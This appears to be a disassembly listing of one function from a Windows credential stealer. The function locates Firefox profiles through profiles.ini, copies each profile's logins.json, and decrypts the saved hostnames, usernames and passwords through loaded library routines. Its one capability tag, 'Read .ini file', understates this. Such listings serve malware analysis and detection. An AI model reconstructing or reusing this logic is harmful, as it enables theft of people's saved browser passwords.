Function at 0x40ca00
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e4
mov eax, dword [0x423b1c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
lea ecx, [ebp - 0x419]
push edi
call fcn.004139d0
push str.Profile
lea ecx, [ebp - 0x420]
call fcn.004032c0
push 0x208
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.00401027
xor esi, esi
lea eax, [ebp - 0x20c]
push 0x104
push esi
push eax
mov dword [ebp - 0x458], esi
call fcn.00401027
push 0x104
lea eax, [ebp - 0x20c]
push eax
push str.firefox.exe
call fcn.004105d0
add esp, 0x24
lea eax, [ebp - 0x20c]
lea ecx, [ebp - 0x438]
push eax
call fcn.004032c0
push str._firefox.exe
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
cmp dword [ebp - 0x458], 6
lea eax, [ebp - 0x438]
jne 0x40cac4
push 1
jmp 0x40cac6
push 0
push ecx
mov ecx, esp
push eax
call fcn.00403c50
mov ecx, ebx
call fcn.0040e5d0
test eax, eax
jne 0x40cae1
xor esi, esi
jmp 0x40d328
push str.MozillaFirefox_
lea ecx, [ebp + 8]
call fcn.00403780
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00403c50
push str.profiles.ini
lea ecx, [ebp - 0x42c]
call fcn.00403780
push str.Profile
lea ecx, [ebp - 0x430]
call fcn.004032c0
push eax
lea ecx, [ebp - 0x420]
call fcn.00403b40
lea ecx, [ebp - 0x430]
call fcn.00403ca0
push 0
lea ecx, [ebp - 0x420]
call fcn.00403a50
lea ecx, [ebp - 0x42c]
call fcn.00403320
push eax
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
push str.Path
lea ecx, [ebp - 0x420]
call fcn.00403320
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x40d2b8
nop word [eax + eax]
inc esi
lea ecx, [ebp - 0x4c8]
push str.Profile
mov dword [ebp - 0x4bc], esi
call fcn.004032c0
push eax
lea ecx, [ebp - 0x420]
call fcn.00403b40
lea ecx, [ebp - 0x4c8]
call fcn.00403ca0
push esi
lea ecx, [ebp - 0x420]
call fcn.00403a50
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x428]
call fcn.00403c50
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x428]
call fcn.00403780
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x428]
call fcn.004033d0
lea ecx, [ebp - 0x430]
call fcn.00402bf0
push eax
mov eax, dword [ebx + 0x60]
call eax
add esp, 4
test eax, eax
jne 0x40d269
mov eax, dword [ebx + 0x78]
call eax
mov edi, eax
mov dword [ebp - 0x4b8], edi
test edi, edi
je 0x40d269
mov eax, dword [ebx + 0x74]
push 0
push 1
push edi
call eax
add esp, 0xc
test eax, eax
jne 0x40d269
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x424]
call fcn.00403c50
push str.logins.json
lea ecx, [ebp - 0x424]
call fcn.00403780
lea eax, [ebp - 0x418]
push 0x1a
push eax
call fcn.00413b70
add esp, 8
lea ecx, [ebp - 0x418]
push 0x41f414
call fcn.00403780
lea eax, [ebp - 0x4b4]
push 8
push eax
call fcn.004036b0
add esp, 8
lea ecx, [ebp - 0x418]
push eax
call fcn.004039f0
lea ecx, [ebp - 0x4b4]
call fcn.00403ca0
push str..tmp
lea ecx, [ebp - 0x418]
call fcn.00403780
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x424]
push eax
call fcn.00414800
add esp, 8
test eax, eax
je 0x40ccda
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x424]
call fcn.00403b40
lea ecx, [ebp - 0x4e4]
call fcn.004144d0
push 1
push 0xc0000000
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x4e4]
call fcn.00414690
test eax, eax
jne 0x40cd28
lea ecx, [ebp - 0x4e4]
call fcn.00414d80
lea ecx, [ebp - 0x418]
call fcn.00403ca0
lea ecx, [ebp - 0x424]
call fcn.00403ca0
jmp 0x40d269
lea ecx, [ebp - 0x454]
call fcn.00402710
push 0
lea ecx, [ebp - 0x4e4]
call fcn.00414d70
push eax
lea eax, [ebp - 0x454]
push eax
lea ecx, [ebp - 0x4e4]
call fcn.00414760
push str.encryptedUsername
lea ecx, [ebp - 0x4c0]
call fcn.00402bb0
push eax
lea eax, [ebp - 0x4ac]
push eax
lea ecx, [ebp - 0x454]
call fcn.00402aa0
push eax
call fcn.00410500
add esp, 8
mov dword [ebp - 0x46c], eax
lea ecx, [ebp - 0x4ac]
mov esi, eax
call fcn.00403280
lea ecx, [ebp - 0x4c0]
call fcn.00403280
test esi, esi
je 0x40d1ff
lea ecx, [ebp - 0x44c]
call fcn.00403290
lea ecx, [ebp - 0x448]
call fcn.00403290
lea ecx, [ebp - 0x444]
call fcn.00403290
push esi
push str.hostname
lea ecx, [ebp - 0x48c]
call fcn.00402bb0
push eax
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x454]
call fcn.00402aa0
push eax
lea eax, [ebp - 0x478]
push eax
call fcn.00410460
add esp, 0x10
lea ecx, [ebp - 0x4c4]
call fcn.00403280
lea ecx, [ebp - 0x48c]
call fcn.00403280
push esi
push str.encryptedUsername
lea ecx, [ebp - 0x494]
call fcn.00402bb0
push eax
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x454]
call fcn.00402aa0
push eax
lea eax, [ebp - 0x474]
push eax
call fcn.00410460
add esp, 0x10
lea ecx, [ebp - 0x490]
call fcn.00403280
lea ecx, [ebp - 0x494]
call fcn.00403280
push esi
push str.encryptedPassword
lea ecx, [ebp - 0x49c]
call fcn.00402bb0
push eax
lea eax, [ebp - 0x498]
push eax
lea ecx, [ebp - 0x454]
call fcn.00402aa0
push eax
lea eax, [ebp - 0x470]
push eax
call fcn.00410460
add esp, 0x10
lea ecx, [ebp - 0x498]
call fcn.00403280
lea ecx, [ebp - 0x49c]
call fcn.00403280
lea eax, [ebp - 0x464]
push eax
lea ecx, [ebp - 0x474]
call fcn.00402bf0
push eax
mov ecx, ebx
call fcn.0040f940
lea eax, [ebp - 0x468]
push eax
lea ecx, [ebp - 0x470]
call fcn.00402bf0
push eax
mov ecx, ebx
call fcn.0040f940
lea eax, [ebp - 0x4a0]
push eax
lea ecx, [ebp - 0x478]
call fcn.00402cb0
push eax
lea ecx, [ebp - 0x44c]
call fcn.00403b40
lea ecx, [ebp - 0x4a0]
call fcn.00403ca0
lea eax, [ebp - 0x4a4]
push eax
push dword [ebp - 0x464]
lea ecx, [ebp - 0x4a8]
call fcn.00402bb0
mov ecx, eax
call fcn.00402cb0
push eax
lea ecx, [ebp - 0x448]
call fcn.00403b40
lea ecx, [ebp - 0x4a4]
call fcn.00403ca0
lea ecx, [ebp - 0x4a8]
call fcn.00403280
lea eax, [ebp - 0x4cc]
push eax
push dword [ebp - 0x468]
lea ecx, [ebp - 0x4b0]
call fcn.00402bb0
mov ecx, eax
call fcn.00402cb0
push eax
lea ecx, [ebp - 0x444]
call fcn.00403b40
lea ecx, [ebp - 0x4cc]
call fcn.00403ca0
lea ecx, [ebp - 0x4b0]
call fcn.00403280
lea eax, [ebp - 0x44c]
mov dword [ebp - 0x440], 0
push eax
lea ecx, [ebp - 0x488]
call fcn.00403c50
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x484]
call fcn.00403c50
lea eax, [ebp - 0x444]
push eax
lea ecx, [ebp - 0x480]
call fcn.00403c50
mov edi, dword [ebx + 8]
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x47c], eax
cmp edi, dword [ebx + 4]
jb 0x40d131
lea esi, [edi + 1]
xor ecx, ecx
imul esi, dword [ebx + 0xc]
mov edx, 0x10
mov eax, esi
mov dword [ebp - 0x460], esi
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00407fa0
add esp, 4
test eax, eax
je 0x40d04d
mov edi, esi
mov dword [eax], esi
lea ecx, [eax + 4]
mov dword [ebp - 0x434], ecx
mov esi, ecx
test edi, edi
jbe 0x40d055
mov ecx, esi
call fcn.00403290
lea ecx, [esi + 4]
call fcn.00403290
lea ecx, [esi + 8]
call fcn.00403290
add esi, 0x10
sub edi, 1
jne 0x40d026
mov ecx, dword [ebp - 0x434]
jmp 0x40d055
xor ecx, ecx
mov dword [ebp - 0x434], ecx
mov edi, dword [ebx + 8]
mov dword [ebp - 0x45c], 0
test edi, edi
je 0x40d0be
mov eax, 0xfffffff8
lea esi, [ecx + 8]
sub eax, ecx
mov dword [ebp - 0x43c], eax
lea edi, [esi + eax]
add edi, dword [ebx]
lea ecx, [esi - 8]
push edi
call fcn.00403b40
lea eax, [edi + 4]
push eax
lea ecx, [esi - 4]
call fcn.00403b40
lea eax, [edi + 8]
mov ecx, esi
push eax
call fcn.00403b40
mov eax, dword [edi + 0xc]
mov dword [esi + 4], eax
add esi, 0x10
mov eax, dword [ebp - 0x45c]
mov edi, dword [ebx + 8]
inc eax
mov dword [ebp - 0x45c], eax
cmp eax, edi
mov eax, dword [ebp - 0x43c]
jb 0x40d076
mov eax, dword [ebx]
test eax, eax
je 0x40d11a
mov edi, dword [eax - 4]
lea ecx, [eax - 4]
mov esi, edi
mov dword [ebp - 0x43c], ecx
shl esi, 4
add esi, eax
test edi, edi
je 0x40d105
nop dword [eax + eax]
sub esi, 0x10
lea ecx, [esi + 8]
call fcn.00403ca0
lea ecx, [esi + 4]
call fcn.00403ca0
mov ecx, esi
call fcn.00403ca0
sub edi, 1
jne 0x40d0e0
mov ecx, dword [ebp - 0x43c]
mov eax, dword [ecx]
shl eax, 4
add eax, 4
push eax
push ecx
call fcn.00407fd0
mov edi, dword [ebx + 8]
add esp, 8
mov eax, dword [ebp - 0x434]
mov esi, dword [ebp - 0x46c]
mov dword [ebx], eax
mov eax, dword [ebp - 0x460]
mov dword [ebx + 4], eax
shl edi, 4
lea eax, [ebp - 0x488]
add edi, dword [ebx]
push eax
mov ecx, edi
call fcn.00403b40
lea eax, [ebp - 0x484]
push eax
lea ecx, [edi + 4]
call fcn.00403b40
lea eax, [ebp - 0x480]
push eax
lea ecx, [edi + 8]
call fcn.00403b40
mov eax, dword [ebp - 0x47c]
lea ecx, [ebp - 0x480]
mov dword [edi + 0xc], eax
inc dword [ebx + 8]
call fcn.00403ca0
lea ecx, [ebp - 0x484]
call fcn.00403ca0
lea ecx, [ebp - 0x488]
call fcn.00403ca0
push dword [ebp - 0x464]
call fcn.00407e60
push dword [ebp - 0x468]
call fcn.00407e60
add esp, 8
lea ecx, [ebp - 0x470]
dec esi
mov dword [ebp - 0x46c], esi
call fcn.00403280
lea ecx, [ebp - 0x474]
call fcn.00403280
lea ecx, [ebp - 0x478]
call fcn.00403280
lea ecx, [ebp - 0x444]
call fcn.00403ca0
lea ecx, [ebp - 0x448]
call fcn.00403ca0
lea ecx, [ebp - 0x44c]
call fcn.00403ca0
test esi, esi
jne 0x40cda5
mov edi, dword [ebp - 0x4b8]
lea eax, [ebp - 0x418]
push eax
call fcn.00413c00
add esp, 4
test eax, eax
je 0x40d229
push ecx
lea eax, [ebp - 0x418]
mov ecx, esp
push eax
call fcn.00403c50
call fcn.00414d40
add esp, 4
mov eax, dword [ebx + 0x7c]
push edi
call eax
mov eax, dword [ebx + 0x64]
add esp, 4
call eax
lea ecx, [ebp - 0x454]
call fcn.00402b50
lea ecx, [ebp - 0x4e4]
call fcn.00414d80
lea ecx, [ebp - 0x418]
call fcn.00403ca0
lea ecx, [ebp - 0x424]
call fcn.00403ca0
mov esi, dword [ebp - 0x4bc]
lea ecx, [ebp - 0x430]
call fcn.00403280
lea ecx, [ebp - 0x428]
call fcn.00403ca0
lea ecx, [ebp - 0x42c]
call fcn.00403320
push eax
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
push str.Path
lea ecx, [ebp - 0x420]
call fcn.00403320
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
jne 0x40cb80
push dword [ebx + 0xac]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call esi
push dword [ebx + 0xa0]
mov dword [ebx + 0xac], 0
call esi
push dword [ebx + 0xa4]
mov dword [ebx + 0xa0], 0
call esi
push dword [ebx + 0xb0]
mov dword [ebx + 0xa4], 0
call esi
push dword [ebx + 0xa8]
mov dword [ebx + 0xb0], 0
call esi
lea ecx, [ebp - 0x42c]
mov dword [ebx + 0xa8], 0
mov esi, 1
call fcn.00403ca0
lea ecx, [ebp - 0x438]
call fcn.00403ca0
lea ecx, [ebp - 0x420]
call fcn.00403ca0
lea ecx, [ebp - 0x419]
call fcn.00414410
lea ecx, [ebp + 8]
call fcn.00403ca0
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret 4